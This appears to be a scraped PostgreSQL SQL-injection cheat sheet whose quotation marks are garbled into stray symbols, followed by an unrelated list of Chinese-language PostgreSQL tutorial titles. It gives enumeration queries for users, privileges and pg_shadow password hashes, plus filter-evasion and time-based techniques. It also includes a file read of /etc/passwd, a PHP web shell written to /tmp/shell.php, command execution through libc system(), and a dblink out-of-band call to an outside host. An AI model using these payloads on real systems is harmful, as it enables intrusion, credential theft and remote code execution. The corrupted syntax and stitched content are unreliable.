**Version**:
SELECT VERSION()
**Directories**:
SELECT?**current_setting**(＆data_directory＊)
SELECT?**current_setting**(＆hba_file＊)
SELECT?**current_setting**(＆config_file＊)
SELECT?**current_setting**(＆ident_file＊)
SELECT?**current_setting**(＆external_pid_file＊)
**Users**:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();
**Current Database**:
SELECT current_database();
**Concatenation**:
SELECT 1||2||3; #*Returns 123*
**Get Collation**:
SELECT pg_client_encoding(); #*Returns your current encoding (collation).*
**Change Collation**:
SELECT convert(＆foobar_utf8∩,＊UTF8∩,＊LATIN1∩); #*Converts foobar from utf8 to latin1.*
SELECT convert_from(＆foobar_utf8∩,＊LATIN1∩); #*Converts foobar to latin1.*
SELECT convert_to(＆foobar＊,'UTF8∩); #*Converts foobar to utf8.*
SELECT to_ascii(＆foobar＊,'LATIN1∩); #*Converts foobar to latin1.*
**Wildcards in SELECT(s)**:
SELECT foo FROM bar WHERE id LIKE ＆test%＊; #*Returns all COLUMN(s) starting with ※test§.*
SELECT foo FROM bar WHERE id LIKE ＆%test＊; #*Returns all COLUMN(s) ending with ※test§.*
**Regular Expression in SELECT(s)**:
#*Returns all columns matching the regular expression.*
SELECT foo FROM bar WHERE id ~* ＆(moo|rawr).*＊;**
**SELECT foo FROM bar WHERE id SIMILAR ＆(moo|rawr).*＊;
**SELECT Without Dublicates**:
SELECT DISTINCT foo FROM bar
**Counting Columns**:
SELECT COUNT(*) FROM foo.bar; #*Returns the amount of rows from the table ※foo.bar§.*
**Get Amount of?**PostgreSQL**?Users**:
SELECT COUNT(*) FROM pg_catalog.pg_user
**Get?**PostgreSQL**?Users**:
SELECT usename FROM pg_user
**Get?**PostgreSQL**?User Privileges on Different Columns**:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges
**Get?**PostgreSQL**?User Privileges**:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user
**Get?**PostgreSQL**?User Credentials & Privileges**:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow
**Get?**PostgreSQL**?DBA Accounts**:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE
**Get Databases**:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
**Get Databases & Tables**:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns
**Get Databases, Tables & Columns**:
SELECT table_schema,table_name,column_name FROM information_schema.columns
**SELECT A Certain Row**:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #*Returns row 0.*
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #*Returns row 1.*
＃
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #*Returns row N.*
**Conversion (Casting)**:
SELECT CAST(＊1∩ AS INTEGER) #*Converts the varchar ※1” to integer.*
**Substring**:
SELECT SUBSTR(＆foobar＊,1,3); #*Returns foo.*
SELECT SUBSTRING(＆foobar＊,1,3); #*Returns foo.*
**Hexadecimal Evasion**:
#*Not as fancy as in MySQL, but it sure works!*
SELECT decode(＊41424344∩,＊hex＊); #*Returns ABCD.*
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #*Returns A.*
**ASCII to Number**:
SELECT ASCII(＆A＊); #*Returns 65.*
**Number to ASCII**:
SELECT CHR(65); #*Returns A.*
**If Statement**:
#*Impossible in SELECT statements.*
#*However, here＊s a work-around with sub-select(s).*
SELECT (SELECT 1 WHERE 1=1); #*Returns 1.*
SELECT (SELECT 1 WHERE 1=2); #*Returns NULL.*
**Case Statement**:
#*May be used instead of the If-Statement.*
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #*Returns 1.*
**Read File(s)**:
CREATE TABLE file(content text);
COPY file FROM ＆/etc/passwd＊;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
＃
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;
**Write File(s)**:
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (＆<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>＊);
COPY file(content) TO ＆/tmp/shell.php＊;
**Logical Operator(s)**:
#*[http://en.wikipedia.org/wiki/Logical_connective](http://en.wikipedia.org/wiki/Logical_connective)*
AND
OR
NOT
**Comments**:
SELECT foo, bar FROM foo.bar/*?*Multi line comment*?*/
SELECT foo, bar FROM foo.bar每?*Single line comment*
**A few evasions/methods to use between your?**PostgreSQL**?statements**:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #*Most commonly used. You know what a space is.*
Multiline Comment (/**/); #*Well, as the name says.*
Parenthesis, ( and ); #*Can also be used as separators when used right.*
**Parenthesis instead of space**:
#*As said two lines above, the use of parenthesis can be used as a separator.*
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));
**Auto-Casting to Right Collation**:
SELECT CONVERT_TO(＆foobar＊,pg_client_encoding());
**Benchmark**:
#*Takes about 7.5 seconds to perform this logical operation.*
#*Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.*
SELECT (||/(9999!));
**Sleep**:
SELECT PG_SLEEP(5); #*Sleeps the?**PostgreSQL**?database for 5 seconds.*
**Get?**PostgreSQL**?IP**:
SELECT inet_server_addr()
**Get?**PostgreSQL**?Port**:
SELECT inet_server_port()
**Command Execution**:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ＆/lib/libc.so.6∩, ＆system＊ LANGUAGE ＆C＊ STRICT;
SELECT system(＆echo Hello.＊);
**DNS Requests (OOB (*Out-Of-Band*))**:
SELECT * FROM dblink(＆host=www.your.host.com user=DB_Username dbname=DB＊, ＆SELECT YourQuery＊) RETURNS (result TEXT);
**Having Fun With?**PostgreSQL****:
- dblink: The Root Of All Evil
- Mapping Library Functions
- From Sleeping and Copying In?**PostgreSQL**?8.2
- Recommendation and Prevention
- Introducing pgshell
- 數據表
- 模式Schema
- 表的繼承和分區
- 常用數據類型
- 函數和操作符-一
- 函數和操作符-二
- 函數和操作符-三
- 索引
- 事物隔離
- 性能提升技巧
- 服務器配置
- 角色和權限
- 數據庫管理
- 數據庫維護
- 系統表
- 系統視圖
- SQL語言函數
- PL-pgSQL過程語言
- PostgreSQL 序列（SEQUENCE）
- PostgreSQL的時間-日期函數使用
- PostgreSQL 查看數據庫，索引，表，表空間大小
- 用以查詢某表的詳細 包含表字段的注釋信息
- PostgreSQL 系統表查看系統信息
- postgre存儲過程簡單實用方法
- PostgreSQL實用日常維護SQL
- PostgreSQL的時間函數使用整理
- 命令
- pg_ctl控制服務器
- initdb 初始化數據庫簇
- createdb創建數據庫
- dropdb 刪除數據庫
- createuser創建用戶
- dropuser 刪除用戶
- psql交互式工具
- psql命令手冊
- pg_dump 數據庫轉儲
- pg_restore恢復數據庫
- vacuumdb 清理優化數據庫
- reindexdb 數據庫重創索引
- createlang 安裝過程語言
- droplang 刪除過程語言
- pg_upgrade 升級數據庫簇
- 調試存儲過程
- 客戶端命令-一
- 客戶端命令-二
- 使用技巧
- PostgreSQL刪除重復數據
- postgresql 小技巧
- PostgreSQL的10進制與16進制互轉
- PostgreSQL的漢字轉拼音
- Postgres重復數據的更新一例
- PostgreSQL使用with一例
- PostgreSQL在函數內返回returning
- PostgreSQL中的group_concat使用
- PostgreSQL數據庫切割和組合字段函數
- postgresql重復數據的刪除
- PostgreSQL的遞歸查詢(with recursive)
- PostgreSQL函數如何返回數據集
- PostgreSQL分區表（Table Partitioning）應用 - David_Tang - 博客園
- PostgreSQL: function 返回結果集多列和單列的例子
- 利用pgAgent創建定時任務
- 淺談 PostgreSQL 類型轉換類似Oracle
- postgresql在windows(包括win7)下的安裝配置
- PostgreSQL簡介、安裝、用戶管理、啟動關閉、創建刪除數據庫 (2010-11-08 12-52-51)轉載▼標簽： 雜談分類： PostgreSQL
- PostgreSQL的generate_series函數應用
- PostgreSQL 8.3.1 全文檢索(Full Text Search)
- postgresql record 使用
- 備份恢復
- PostgreSQL基于時間點恢復(PITR)
- Postgresql基于時間點恢復PITR案例(二)
- Postgres邏輯備份腳本
- Postgres invalid command \N數據恢復處理